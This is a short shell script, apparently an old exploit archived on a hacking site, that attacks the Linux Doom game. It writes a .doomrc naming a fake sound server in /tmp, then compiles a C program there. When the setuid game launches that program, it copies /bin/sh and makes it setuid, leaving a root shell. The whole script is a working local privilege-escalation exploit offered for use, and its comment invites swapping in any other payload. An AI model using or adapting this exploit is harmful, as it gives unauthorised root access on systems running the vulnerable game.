#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
    if (fork()) while (getc(stdin));
    else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
    /* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver
#                 www.hack.co.za           [2000]#